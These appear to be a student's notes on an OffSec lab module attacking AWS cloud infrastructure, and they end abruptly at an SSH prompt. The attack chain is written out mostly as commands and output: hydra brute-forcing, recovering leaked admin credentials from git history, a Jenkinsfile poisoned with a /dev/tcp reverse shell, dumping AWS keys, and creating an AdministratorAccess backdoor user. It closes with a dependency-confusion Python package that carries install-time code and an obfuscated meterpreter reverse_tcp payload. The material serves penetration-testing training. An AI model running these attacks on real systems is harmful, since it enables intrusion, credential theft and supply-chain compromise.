Module 25: Attacking AWS Cloud Infrastructure

About the Public Cloud Labs

Progess is not saved. These labs are in OffSec's Ppublic Cloud Labs which are access directly through the internet.

Leaked Secrets to Poisoned Pipeline - Lab Design

Accessing the Labs

  • A DNS server's IP address

  • A Kali IP address

  • A Kali Password

  • An AWS account with no permissions (more on this later)

Each lab restart will require setting up the DNS server again.

Setting DNS server and verifying it:

kali@kali:~$ nmcli connection
NAME                UUID                                  TYPE      DEVICE 
Wired connection 1  67f8ac63-7383-4dfd-ae42-262991b260d7  ethernet  eth0   
lo                  1284e5c4-6819-4896-8ad4-edeae32c64ce  loopback  lo 

kali@kali:~$ sudo nmcli connection modify "Wired connection 1" ipv4.dns "203.0.113.84"

kali@kali:~$ sudo systemctl restart NetworkManager

kali@kali:~$ cat /etc/resolv.conf
# Generated by NetworkManager
search localdomain
nameserver 203.0.113.84
...

kali@kali:~$ nslookup git.offseclab.io
Server:         203.0.113.84
Address:        203.0.113.84#53

Non-authoritative answer:
Name:   git.offseclab.io
Address: 198.18.53.73

Enumeration

Enumerating Jenkins

Enumerating Jenkins with MSF:

kali@kali:~$ msfconsole --quiet

msf6 > use auxiliary/scanner/http/jenkins_enum

msf6 auxiliary(scanner/http/jenkins_enum) > show options
                                                                                                                            
Module options (auxiliary/scanner/http/jenkins_enum):                                                                       
                                                                                                                            
   Name       Current Setting  Required  Description                                                                        
   ----       ---------------  --------  -----------                                                                        
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]                       
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/  
                                         using-metasploit.html                                                              
   RPORT      80               yes       The target port (TCP)                                                              
   SSL        false            no        Negotiate SSL/TLS for outgoing connections                                         
   TARGETURI  /jenkins/        yes       The path to the Jenkins-CI application                                             
   THREADS    1                yes       The number of concurrent threads (max one per host)                                
   VHOST                       no        HTTP server virtual host                                                           
                                                                                                                            

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/jenkins_enum) > set RHOSTS automation.offseclab.io
RHOSTS => automation.offseclab.io

msf6 auxiliary(scanner/http/jenkins_enum) > set TARGETURI /
TARGETURI => /

msf6 auxiliary(scanner/http/jenkins_enum) > run

[+] 198.18.53.73:80      - Jenkins Version 2.385
[*] /script restricted (403)
[*] /view/All/newJob restricted (403)
[*] /asynchPeople/ restricted (403)
[*] /systemInfo restricted (403)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Enumerating the Git Server

Running hydra on the user login:

hydra -L ./users -P /usr/share/wordlists/rockyou.txt git.offseclab.io http-post-form "/user/login:user_name=^USER^&password=^PASS^:Username or password is incorrect."

Enumerating the Application

Reviewing the source code to find a S3 bucket:

<div class="carousel-item active">
    <img src="https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/images/bunny.jpg" class="d-block w-100" alt="...">
</div>
<div class="carousel-item">
    <img src="https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/images/golden-with-flower.jpg" class="d-block w-100"
        alt="...">
</div>
<div class="carousel-item">
    <img src="https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/images/kittens.jpg" class="d-block w-100" alt="...">
</div>
<div class="carousel-item">
    <img src="https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/images/puppy.jpg" class="d-block w-100" alt="...">
</div>

Using curl to list the bucket:

kali@kali:~$ curl https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com      
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>VFK5KNV3PV9B8SKJ</RequestId><HostId>0J13xDMdIwQB3e3HLcQvfYpsRe1MO0Bn0OVUgl+7wtbs2v3XOZZn98WKQ0lsyqmpgnv5FjSGFaE=</HostId></Error>

Enumerating the bucket with just the first 50 lines of common.txt:

kali@kali:~$ head -n 51 /usr/share/wordlists/dirb/common.txt > first50.txt

kali@kali:~$ dirb https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com ./first50.txt
...
---- Scanning URL: https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/ ----
+ https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/.git/HEAD (CODE:200|SIZE:23)      
...
DOWNLOADED: 50 - FOUND: 1

Using awscli to list contents of the bucket:

kali@kali:~$ aws s3 ls staticcontent-lgudbhv8syu2tgbk
                           PRE .git/
                           PRE images/
                           PRE scripts/
                           PRE webroot/
2023-04-04 13:00:52        972 CONTRIBUTING.md
2023-04-04 13:00:52         79 Caddyfile
2023-04-04 13:00:52        407 Jenkinsfile
2023-04-04 13:00:52        850 README.md
2023-04-04 13:00:52        176 docker-compose.yml

Discovering Secrets

Downloading the Bucket

Downloading a copy of the README.md:

kali@kali:~$ aws s3 cp s3://staticcontent-lgudbhv8syu2tgbk/README.md ./
download: s3://staticcontent-lgudbhv8syu2tgbk/README.md to ./README.md

Downloading the S3 bucket:

kali@kali:~$ mkdir static_content                                     

kali@kali:~$ aws s3 sync s3://staticcontent-lgudbhv8syu2tgbk ./static_content/
download: s3://staticcontent-lgudbhv8syu2tgbk/.git/COMMIT_EDITMSG to static_content/.git/COMMIT_EDITMSG
...
download: s3://staticcontent-lgudbhv8syu2tgbk/images/kittens.jpg to static_content/images/kittens.jpg

kali@kali:~$ cd static_content

kali@kali:~/static_content$ 

Reviewing contents of discovered scripts:

kali@kali:~/static_content$ ls scripts               
update-readme.sh  upload-to-s3.sh

kali@kali:~/static_content$ cat -n scripts/update-readme.sh
01  # Update Readme to include collaborators images to s3
02
03  SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
04
05  SECTION="# Collaborators"
06  FILE=$SCRIPT_DIR/../README.md
07
08  if [ "$1" == "-h" ]; then
09    echo "Update the collaborators in the README.md file"
10    exit 0
11  fi
12
13  # Check if both arguments are provided
14  if [ "$#" -ne 2 ]; then
15    # If not, display a help message
16    echo "Usage: $0 USERNAME PASSWORD"
17    exit 1
18  fi
19
20  # Store the arguments in variables
21  username=$1
22  password=$2
23
24  auth_header=$(printf "Authorization: Basic %s\n" "$(echo -n "$username:$password" | base64)")
25
26  USERNAMES=$(curl -X 'GET' 'http://git.offseclab.io/api/v1/repos/Jack/static_content/collaborators' -H 'accept: application/json' -H $auth_header | jq .\[\].username |  tr -d '"')
27
28  sed -i "/^$SECTION/,/^#/{/$SECTION/d;//!d}" $FILE
29  echo "$SECTION" >> $FILE
30  echo "$USERNAMES" >> $FILE
31  echo "" >> $FILE

Searching for Secrets in Git

Installing gitleaks:

kali@kali:~/static_content$ sudo apt update         
...

kali@kali:~/static_content$ sudo apt install -y gitleaks
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  gitleaks
...

To run gitleaks, we must be in the root of the static_content folder:

kali@kali:~/static_content$ gitleaks detect


    │╲
    │ ○
    ○ ░
    ░    gitleaks 

1:58PM INF no leaks found
1:58PM INF scan completed in 61.787205ms

Reviewing git log:

kali@kali:~/static_content$ git log
commit 07feec62e57fec8335e932d9fcbb9ea1f8431305 (HEAD -> master, origin/master)
Author: Jack <jack@offseclab.io>

    Add Jenkinsfile

commit 64382765366943dd1270e945b0b23dbed3024340
Author: Jack <jack@offseclab.io>

    Fix issue

commit 54166a0803785d745d68f132cde6e3859f425c75
Author: Jack <jack@offseclab.io>

    Add Managment Scripts

commit 5c22f52b6e5efbb490c330f3eb39949f2dfe2f91
Author: Jack <jack@offseclab.io>

    add Docker

commit 065abcd970335c35a44e54019bb453a4abd59210
Author: Jack <jack@offseclab.io>

    Add index.html

commit 6e466ede070b7fb44e0ef38bef3504cf87e866d0
Author: Jack <jack@offseclab.io>

    Add images

commit 85c736662f2644783d1f376dcfc1688e37bd1991
Author: Jack <jack@offseclab.io>

    Init Repo

Reviewing the commit that noted "Fix issue":

kali@kali:~/static_content$ git show 64382765366943dd1270e945b0b23dbed3024340
commit 64382765366943dd1270e945b0b23dbed3024340
Author: Jack <jack@offseclab.io>

    Fix issue

diff --git a/scripts/update-readme.sh b/scripts/update-readme.sh
index 94c67fc..c2fcc19 100644
--- a/scripts/update-readme.sh
+++ b/scripts/update-readme.sh
@@ -1,4 +1,5 @@
 # Update Readme to include collaborators images to s3
+
 SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
 
 SECTION="# Collaborators"
@@ -9,9 +10,22 @@ if [ "$1" == "-h" ]; then
   exit 0
 fi
 
-USERNAMES=$(curl -X 'GET' 'http://git.offseclab.io/api/v1/repos/Jack/static_content/collaborators' -H 'accept: application/json' -H 'authorization: Basic YWRtaW5pc3RyYXRvcjo5bndrcWU1aGxiY21jOTFu' | jq .\[\].username |  tr -d '"')
+# Check if both arguments are provided
+if [ "$#" -ne 2 ]; then
+  # If not, display a help message
+  echo "Usage: $0 USERNAME PASSWORD"
+  exit 1
+fi
+
+# Store the arguments in variables
+username=$1
+password=$2
+
+auth_header=$(printf "Authorization: Basic %s\n" "$(echo -n "$username:$password" | base64)")
+
+USERNAMES=$(curl -X 'GET' 'http://git.offseclab.io/api/v1/repos/Jack/static_content/collaborators' -H 'accept: application/json' -H $auth_header | jq .\[\].username |  tr -d '"')
 
 sed -i "/^$SECTION/,/^#/{/$SECTION/d;//!d}" $FILE
 echo "$SECTION" >> $FILE
 echo "$USERNAMES" >> $FILE
-echo "" >> $FILE
+echo "" >> $FILE
\ No newline at end of file

Reviewing the basic authentication base64 string discovered:

kali@kali:~/static_content$ echo "YWRtaW5pc3RyYXRvcjo5bndrcWU1aGxiY21jOTFu" | base64 --decode
administrator:9nwkqe5hlbcmc91n

Poisoning the Pipeline

Enumerating the Repositories

Reviewing the Jenkinsfile now that we are logged in as administrator and can browse the repo:

01  pipeline {
02      agent any   
03      // TODO automate the building of this later
04      stages {
05          stage('Build') {
06              steps {
07                  echo 'Building..'
08              }
09          }
10          stage('Test') {
11              steps {
12                  echo 'Testing..'
13              }
14          }
15          stage('Deploy') {
16              steps {
17                  echo 'Deploying....'
18              }
19          }
20      }
21  }     

Nothing much here. Checking out the other repo's Jenkinsfile:

01 pipeline {
02    agent any
03
04    stages {
05
06      
07      stage('Validate Cloudfront File') {
08        steps {
09          withAWS(region:'us-east-1', credentials:'aws_key') {
10              cfnValidate(file:'image-processor-template.yml')
11          }
12        }
13      }
14
15      stage('Create Stack') {
16        steps {
17          withAWS(region:'us-east-1', credentials:'aws_key') {
18              cfnUpdate(
19                  stack:'image-processor-stack', 
20                  file:'image-processor-template.yml', 
21                  params:[
22                      'OriginalImagesBucketName=original-images-lgudbhv8syu2tgbk',
23                      'ThumbnailImageBucketName=thumbnail-images--lgudbhv8syu2tgbk'
24                  ], 
25                  timeoutInMinutes:10, 
26                  pollInterval:1000)
27          }
28        }
29      }
30    }
31  }
Reviewing Webhooks under Settings
Reviewing Webhook Triggers

Modifying the Pipeline

Modifying the Jenkinsfile for static_content to spawn a reverse shell:

pipeline {
  agent any
  stages {
    stage('Send Reverse Shell') {
      steps {
        withAWS(region: 'us-east-1', credentials: 'aws_key') {
          script {
            if (isUnix()) {
              sh 'bash -c "bash -i >& /dev/tcp/192.88.99.76/4242 0>&1" & '
            }
          }
        }
      }
    }
  }
}

Enumerating the Builder

OS and Kernel enumeration:

jenkins@fcd3cc360d9e:~/agent/workspace/image-transform$ uname -a
uname -a
Linux fcd3cc360d9e 4.14.309-231.529.amzn2.x86_64 #1 SMP Tue Mar 14 23:44:59 UTC 2023 x86_64 GNU/Linux

jenkins@fcd3cc360d9e:~/agent/workspace/image-transform$ cat /etc/os-release
cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Listing working and home directory:

jenkins@fcd3cc360d9e:~/agent/workspace/image-transform$ ls
ls
Jenkinsfile
README.md
image-processor-template.yml

jenkins@fcd3cc360d9e:~/agent/workspace/image-transform$ cd ~

jenkins@fcd3cc360d9e:~$ ls -a
ls -a
.
..
.bash_logout
.bashrc
.cache
.config
.profile
.ssh
agent

Checking for private keys, authorized keys, and the network configuration:

jenkins@fcd3cc360d9e:~$ ls -a .ssh
ls -a
.
..
authorized_keys

jenkins@fcd3cc360d9e:~$ cat .ssh/authorized_keys
cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDP+HH9VS2Oe1djuSNJWhbYaswUC544I0QCp8sSdyTs/yQiytovhTAP/Z1eA2n0OZB2/4/oJn5wpdui8TTnkQGb6KdiLMfO1hZep7QVAY1QAwxLaKz6iEAFUuNxRrctwebVNCVokZr1yQmvlW0qKdQ5RaqU5xu35oDsYhk5vcQj+o8FAhkI5zkA4Mq6UPdLgakxEHaxJT4vWL7rYYvMW8Wz2/ngZS4LlcYmTVRiSRxFs1LdwTwC5DDlL05sqqFGED+Gs6Jy6VFhCZE0oFGZ0EoIMXkjasifVUvf7jPJ/qFKRP47AwJ6zMUUGlwf8t5HFwzK6ZmDoKUiUHg6ZdOEHxHYJRXqQ1IILpgp9g+1+NhYpIwpnvkuurCLFpKby4rRKkECueRUjSMsArKuTdPBZZ1cpC12z/czcGzTib1AjIUaNwobsU5dwVbgPLnDJ6vYVQGTNq5/PLRBeHCluzpaiHFtrP80PL9XomVhCI+lGTKxD9QxYq+mSYyESiEeu7idqw8= jenkins@jenkins

jenkins@fcd3cc360d9e:~$ ifconfig
ifconfig

bash: ifconfig: command not found

jenkins@fcd3cc360d9e:~$ ip a
ip a
bash: ip: command not found

The results for network configuration information indicate likely being inside a container.

Checking mounts:

jenkins@fcd3cc360d9e:~$ cat /proc/mounts
cat /proc/mounts
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/ZWMYT5LL7SJG7W2C2AQDU3DNZU:/var/lib/docker/overlay2/l/NWVNHZEQTXKQV7TK6L5PBW2LY6:/var/lib/docker/overlay2/l/XQAFTST24ZNNZODESKXRXG2DT3:/var/lib/docker/overlay2/l/XQEBX4RY52MDAKX5AHOFQ33C3J:/var/lib/docker/overlay2/l/RL6A3EXVAAKLS2H3DCFGHT6G4I:/var/lib/docker/overlay2/l/RK5MUYP5EXDS66AROAZDUW4VJZ:/var/lib/docker/overlay2/l/GITV6R24OXBRFWILXTIPQJWAUO:/var/lib/docker/overlay2/l/IJIDXIBWIZUYBIWUF5YWXCOG4L:/var/lib/docker/overlay2/l/6MLZE4Z6A4O4GGDABKH4SEB2ML:/var/lib/docker/overlay2/l/DWFB6EYO3HEPBCCAWYQ4256GNS:/var/lib/docker/overlay2/l/I7JY2SWCL2IPGXKRREITBKE3XF:/var/lib/docker/overlay2/l/U3ULKCXTN7B3QA7WZBNB67UESW,upperdir=/var/lib/docker/overlay2/b01b1c72bc2d688d01493d2aeda69d6a4ec1f6dbb3934b8c1ba00aed3040de4a/diff,workdir=/var/lib/docker/overlay2/b01b1c72bc2d688d01493d2aeda69d6a4ec1f6dbb3934b8c1ba00aed3040de4a/work 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /sys/fs/cgroup tmpfs rw,nosuid,nodev,noexec,relatime,mode=755 0 0
cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/usr/lib/systemd/systemd-cgroups-agent,name=systemd 0 0
cgroup /sys/fs/cgroup/pids cgroup rw,nosuid,nodev,noexec,relatime,pids 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0
cgroup /sys/fs/cgroup/hugetlb cgroup rw,nosuid,nodev,noexec,relatime,hugetlb 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
/dev/xvda1 /run xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /tmp xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /home/jenkins xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /run xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /etc/resolv.conf xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /etc/hostname xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /etc/hosts xfs rw,noatime,attr2,inode64,noquota 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k 0 0

Output confirms we're inside a docker container.

Checking Capability for container:

jenkins@fcd3cc360d9e:~$ cat /proc/1/status | grep Cap
cat /proc/1/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Decoding the capabilities:

kali@kali:~$ capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read

Discovering AWS keys:

jenkins@fcd3cc360d9e:~$ env | grep AWS
env | grep AWS
AWS_DEFAULT_REGION=us-east-1
AWS_REGION=us-east-1
AWS_SECRET_ACCESS_KEY=W4gtNvsaeVgx5278oy5AXqA9XbWdkRWfKNamjKXo
AWS_ACCESS_KEY_ID=AKIAUBHUBEGIMU2Y5GY7

Compromising the Environment via Backdoor Account

Discovering What We Have Access To

Configured a new profile with the information discovered:

kali@kali:~$ aws configure --profile=CompromisedJenkins
AWS Access Key ID [None]: AKIAUBHUBEGIMU2Y5GY7
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: 

Getting User Name:

kali@kali:~$ aws --profile CompromisedJenkins sts get-caller-identity
{
    "UserId": "AIDAUBHUBEGILTF7TFWME",
    "Account": "274737132808",
    "Arn": "arn:aws:iam::274737132808:user/system/jenkins-admin",
}

Listing Policies and Group for User:

kali@kali:~$ aws --profile CompromisedJenkins iam list-user-policies --user-name jenkins-admin
{
    "PolicyNames": [
        "jenkins-admin-role"
    ]
}

kali@kali:~$ aws --profile CompromisedJenkins iam list-attached-user-policies --user-name jenkins-admin
{
    "AttachedPolicies": []
}

kali@kali:~$ aws --profile CompromisedJenkins iam list-groups-for-user --user-name jenkins-admin
{
    "Groups": []
}

Getting the user policy discovered:

kali@kali:~$ aws --profile CompromisedJenkins iam get-user-policy --user-name jenkins-admin --policy-name jenkins-admin-role
{
    "UserName": "jenkins-admin",
    "PolicyName": "jenkins-admin-role",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "",
                "Effect": "Allow",
                "Action": "*",
                "Resource": "*"
            }
        ]
    }
}

Creating a Backdoor Account

Creating our backdoor user:

kali@kali:~$ aws --profile CompromisedJenkins iam create-user --user-name backdoor                                  
{
    "User": {
        "Path": "/",
        "UserName": "backdoor",
        "UserId": "AIDAUBHUBEGIPX2SBIHLB",
        "Arn": "arn:aws:iam::274737132808:user/backdoor",
    }
}

Attaching the AdministratorAccess policy to our backdoor user:

kali@kali:~$ aws --profile CompromisedJenkins iam attach-user-policy  --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Getting our user creds:

kali@kali:~$ aws --profile CompromisedJenkins iam create-access-key --user-name backdoor
{
    "AccessKey": {
        "UserName": "backdoor",
        "AccessKeyId": "AKIAUBHUBEGIDGCLUM53",
        "Status": "Active",
        "SecretAccessKey": "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",
    }
}

Configuring our new backdoor profile:

kali@kali:~$ aws configure --profile=backdoor                                           
AWS Access Key ID [None]: AKIAUBHUBEGIDGCLUM53
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:  

kali@kali:~$ aws --profile backdoor iam list-attached-user-policies --user-name backdoor
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}

Dependency Chain Abuse

Accessing the Labs

  • A DNS server's IP address

  • A Kali IP address

  • A Kali password

Information Gathering

Enumerating the Services

Poke around the website. Check Network tab of the developer settings, look at the headers.

Conducting Open Source Intelligence

Search sites like Stack Overflow, Reddit, etc.

Dependency Chain Attack

Understanding the Attack

Flow of Downloading When Public Repo does not Contain Package
Flow of Downloading when Public Repo does Contain Package

Creating Our Malicious Package

Structure of a Python Package:

└── hackshort-util
    ├── setup.py
    └── hackshort_util
        └── __init__.py

Instead of setup.py, we can also use pyproject.toml or setup.cfg.

Creating a basic Python Package:

kali@kali:~$ mkdir hackshort-util

kali@kali:~$ cd hackshort-util           
                                                                                                        
kali@kali:~/hackshort-util$ nano setup.py

kali@kali:~/hackshort-util$ cat -n setup.py
01  from setuptools import setup, find_packages
02
03  setup(
04      name='hackshort-util',
05      version='1.1.4',
06      packages=find_packages(),
07      classifiers=[],
08      install_requires=[],
09      tests_require=[],
10  )

kali@kali:~/hackshort-util$ mkdir hackshort_util

kali@kali:~/hackshort-util$ touch hackshort_util/__init__.py

Running the newly created Python Package:

kali@kali:~/hackshort-util$ python3 ./setup.py sdist
running sdist
running egg_info
writing hackshort_util.egg-info/PKG-INFO
writing dependency_links to hackshort_util.egg-info/dependency_links.txt
writing top-level names to hackshort_util.egg-info/top_level.txt
reading manifest file 'hackshort_util.egg-info/SOURCES.txt'
writing manifest file 'hackshort_util.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
creating hackshort-util-1.1.4
creating hackshort-util-1.1.4/hackshort_util
creating hackshort-util-1.1.4/hackshort_util.egg-info
copying files to hackshort-util-1.1.4...
copying setup.py -> hackshort-util-1.1.4
copying hackshort_util/__init__.py -> hackshort-util-1.1.4/hackshort_util
copying hackshort_util/utils.py -> hackshort-util-1.1.4/hackshort_util
copying hackshort_util.egg-info/PKG-INFO -> hackshort-util-1.1.4/hackshort_util.egg-info
copying hackshort_util.egg-info/SOURCES.txt -> hackshort-util-1.1.4/hackshort_util.egg-info
copying hackshort_util.egg-info/dependency_links.txt -> hackshort-util-1.1.4/hackshort_util.egg-info
copying hackshort_util.egg-info/top_level.txt -> hackshort-util-1.1.4/hackshort_util.egg-info
Writing hackshort-util-1.1.4/setup.cfg
Creating tar archive
removing 'hackshort-util-1.1.4' (and everything under it)

Installing hackshort-util locally:

kali@kali:~/hackshort-util$ pip install ./dist/hackshort-util-1.1.4.tar.gz
Defaulting to user installation because normal site-packages is not writeable
Looking in indexes: http://pypi.offseclab.io, http://127.0.0.1
Processing ./dist/hackshort-util-1.1.4.tar.gz
  Preparing metadata (setup.py) ... done
Building wheels for collected packages: hackshort-util
  Building wheel for hackshort-util (setup.py) ... done
  Created wheel for hackshort-util: filename=hackshort_util-1.1.4-py3-none-any.whl size=1188 sha256=2b00a9631c7fb9e1094b6c6ac70bd4424f1ecc3110e05dc89b6352229ed58f93
  Stored in directory: /home/kali/.cache/pip/wheels/da/63/05/afd9e305b95f17a67a64eaa1e62f8acfd4fe458712853c2c3d
Successfully built hackshort-util
Installing collected packages: hackshort-util
Successfully installed hackshort-util-1.1.4

Importing and using hackshort_util package:

kali@kali:~$ python3                                       
Python 3.11.2 [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import hackshort_util
>>> print(hackshort_util)
<module 'hackshort_util' from '/home/kali/.local/lib/python3.11/site-packages/hackshort_util/__init__.py'>

Uninstalling hackshort-util so we can reinstall with our updates:

kali@kali:~/hackshort-util$ pip uninstall hackshort-util                   
Found existing installation: hackshort-util 1.1.4
Uninstalling hackshort-util-1.1.4:
  Would remove:
    /home/kali/.local/lib/python3.11/site-packages/hackshort_util-1.1.4.dist-info/*
    /home/kali/.local/lib/python3.11/site-packages/hackshort_util/*
Proceed (Y/n)? Y
  Successfully uninstalled hackshort-util-1.1.4

Command Execution During Install

Adding custom code to run during install:

kali@kali:~/hackshort-util$ cat -n setup.py            
01  from setuptools import setup, find_packages
02  from setuptools.command.install import install
03
04  class Installer(install):
05      def run(self):
06          install.run(self)
07          with open('/tmp/running_during_install', 'w') as f:
08              f.write('This code was executed when the package was installed')
09
10  setup(
11      name='hackshort-util',
12      version='1.1.4',
13      packages=find_packages(),
14      classifiers=[],
15      install_requires=[],
16      tests_require=[],
17      cmdclass={'install': Installer}
18  )
19

Removing the existing package then building the new package:

kali@kali:~/hackshort-util$ rm ./dist/hackshort-util-1.1.4.tar.gz

kali@kali:~/hackshort-util$ cat /tmp/running_during_install   
cat: /tmp/running_during_install: No such file or directory

kali@kali:~/hackshort-util$ python3 ./setup.py sdist                      
...

Installing the new package and checking if custom code executed:

kali@kali:~/hackshort-util$ pip install ./dist/hackshort_util-1.1.4.tar.gz
...

kali@kali:~/hackshort-util$ cat /tmp/running_during_install           
This code was executed when the package was installed 

Command Execution During Runtime

We know the developers we're targeting use the package by importing utils from hackshort_utils.

Creating utils.py file with Exception Hook function:

kali@kali:~/hackshort-util$ nano hackshort_util/utils.py
                                                                                                        
kali@kali:~/hackshort-util$ cat -n hackshort_util/utils.py
01  import time
02  import sys
03
04  def standardFunction():
05          pass
06
07  def __getattr__(name):
08          pass
09          return standardFunction
10
11  def catch_exception(exc_type, exc_value, tb):
12      while True:
13          time.sleep(1000)
14
15  sys.excepthook = catch_exception

Uninstalling, rebuilding, and reinstalling hackshort-util package:

kali@kali:~/hackshort-util$ pip uninstall hackshort-util
...

kali@kali:~/hackshort-util$ python3 ./setup.py sdist
...

kali@kali:~/hackshort-util$ pip install ./dist/hackshort_util-1.1.4.tar.gz
...

Testing our newly created package:

kali@kali:~$ python3                 
Python 3.11.2 [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from hackshort_util import utils
>>> utils.run()
>>> 1/0

Adding a Payload

Generating a python meterpreter payload:

kali@kali:~$ msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.88.99.76 LPORT=4488
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 436 bytes
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGMPuUrvtYgURDyIiuHsTWdp01NI0KZmsVsX/7oYsXmZ4b968+ejHyflA0ekBgvw2fSvbBqHIJQZ/0EGGfgTy6jydaW+pb+wb8OVCbEgW/NcxZlinZpUSX8kT3j7e3O+3u6fb6wcRdUo7a0EHztmyWqmyVFWl1gWTeV6WIkpaD81AMpg1TCF6x+EKDcDELwQxddpJHezU6IGzqzsmUXnQHzwX4nnxQrr6hI0gn++9AWrA8k5cmqNdd/ZfPU+0IDCD5vFs1YF24+QBkacPqLbII9lBVMofhmyDv4L8AerjXyE=')[0])))

Modifying utils.py to add the generated payload:

kali@kali:~/hackshort-util$ nano hackshort_util/utils.py

kali@kali:~/hackshort-util$ cat -n hackshort_util/utils.py
01  import time
02  import sys
03
04  def standardFunction():
05          pass
06
07  def __getattr__(name):
08          pass
09          return standardFunction
10
11  def catch_exception(exc_type, exc_value, tb):
12      while True:
13          time.sleep(1000)
14
15  sys.excepthook = catch_exception
16
17  exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGMPuUrvtYgURDyIiuHsTWdp01NI0KZmsVsX/7oYsXmZ4b968+ejHyflA0ekBgvw2fSvbBqHIJQZ/0EGGfgTy6jydaW+pb+wb8OVCbEgW/NcxZlinZpUSX8kT3j7e3O+3u6fb6wcRdUo7a0EHztmyWqmyVFWl1gWTeV6WIkpaD81AMpg1TCF6x+EKDcDELwQxddpJHezU6IGzqzsmUXnQHzwX4nnxQrr6hI0gn++9AWrA8k5cmqNdd/ZfPU+0IDCD5vFs1YF24+QBkacPqLbII9lBVMofhmyDv4L8AerjXyE=')[0])))

Logging into the cloud Kali instance via SSH:

kali@kali:~$ ssh kali@192.88.99.76
The authenticity of host '192.88.99.76 (192.88.99.76)' can't be established.
